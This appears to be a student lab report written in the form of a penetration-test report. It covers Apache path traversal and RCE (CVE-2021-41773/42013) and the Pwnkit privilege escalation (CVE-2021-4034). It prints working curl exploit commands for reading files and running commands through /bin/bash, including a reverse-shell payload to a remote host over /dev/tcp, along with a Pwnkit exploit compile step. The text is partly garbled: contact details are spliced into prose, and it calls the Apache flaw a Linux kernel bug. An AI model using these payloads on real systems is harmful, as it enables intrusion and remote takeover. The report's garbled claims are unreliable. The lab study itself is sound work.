Report on

- **CVE-2021-41773/42013**
- **Pwnkit: CVE-2021-4034.**

Title:

- Vulnerability in Linux Kernel CVE-2021-41773/42013
- Local privilege escalatin (LPE) Pwnkit-2021-4034

Submitted by: Fahad Usman

Submitted to: Muhammad Bilal

Date: August 21, 2024

Table of Contents STATEMENT OF

Topics **Page**

CONFIDENTIALITY **1**

ENGAGEMENTCONTACTS **1**

EXECUTIVESUMMARY **1**

CVE-2021-41773/42013 ..... **1**

An Aside on URL Encoding. **2**

Apache 2.4.49 without CGI enabled. **2**

Apache 2.4.49 with CGI enabled. **2**

Apache 2.4.50 without CG enabled **3**

Apache 2.4.50 with CGI enabled. **3**

Service on Apache server **3**

Flag on 8083 port **3**

Pwnkit: CVE-2021-4034. ..... **4**

Searching vulnerability **4**

Exploitation **4**

Conclusion **5**

Statement of Confidentiality

The contents of this document have been developed by M. Adnan Shakeel. Hack Corvit System considers the contents of this document to be proprietary and business confidential information. This information is to be used only in the performance of its intended use. This document may not be released to another vendor, business partner or contractor without prior written consent from Corvit System. Additionally, no portion of this document may be communicated, reproduced, copied or distributed without the prior consent of Corvit System.

Executive Summary

Inlanefreight Ltd. ("Inlanefreight" herein) contracted Corvit System Multan to perform a Network Penetration Test of Inlanefreight's internally facing network to identify security weaknesses, determine the impact to Inlanefreight, document all findings in a clear and repeatable manner, and provide remediation recommendations.

CVE-2021-41773/42013

On the 5th of October 2021, a CVE detailing a path traversal attack on Apache HTTP Server v2.4.49 was released. Assigned the number CVE-2021-41773. So Apache fixed this bug and released v2.4.50. End of story, right? Well, not quite. Only 2 days later, on the 7th of October, a new CVE was released citing the prior. This one mentions that the fix for the earlier path traversal attack was incomplete, and we could still traverse if the Primary Contact Title Primary Email M. Adnan Shakeel Chief Executive Officer abcd@gmail.com Secondary Contact Title

Secondary Email M. Rehan Shakeel Chief Technical Officer xyzw@gmail.com path in question used an alias directive to map its URLs to the filesystem. The CVE was assigned number CVE-2021- 42013.

An Aside on URL Encoding

Defined in RFC 3986 Section 2, URL Encoding is a scheme used to encode special or reserved characters within a URL. For example, spaces in a URL are encoded as a + character (notably in query parameters). If we want to encode an actual plus, we must encode it using what is known a "percent-encoding". This simply involves prefixing the US-ASCII hexadecimal code for the character with a % sign. In our example, the + symbol can be encoded as %2B.

Apache 2.4.49 without CGI enabled

Without CGI enabled, we can only read files. Using curl, we simply access the files that we want, url-encoding.

Command:

curl -v 'http:// < ip address >:

8080/cgibin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flagt.tx t

Apache 2.4.49 with CGI enabled

CGI will complicate the matter as the module will attempt to execute the retrieved file. For plaintext, like /etc/passwd, this can be problematic :). In order to execute or code, we can simply call sh or bash with the command in the body.

Command:

Curl -v 'http:// :8081/cgi-bin/. %2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/b ash' -d 'echo Content-Type: text/plain; echo; cat flag.txt' -H "Content-Type: text/plain"

Apache 2.4.50

This particular example was fixed in version 2.4.50. However, the fix was incomplete and failed to account for a double-encoding of the URL.

Command:

Curl 'http:// 8082/cgibin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'

Flag on port :8083

Command:

curl 'http://10.10.178.215:8083/cgi-bin.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/10.10.178.215/4444 0>&1' -H "Content-Type: text/plain"

Conclusion:

This vulnerability is found in that version. So pwnkit has this type of vulnerability.

Pwnkit: CVE-2021-4034

CVE-2021-4034 (colloquially dubbed "Pwnkit") is a terrifying Local Privilege Escalation (LPE) vulnerability, located in the "Polkit" package installed by default on almost every major distribution of the Linux operating system (as well as many other *nix operating systems). In other words, it affects virtually every mainstream Linux system on the planet.

Searching vulnerability:

I use command cat README.md

Exploitation:

gcc cve-2021-4034-poc.c -o exploit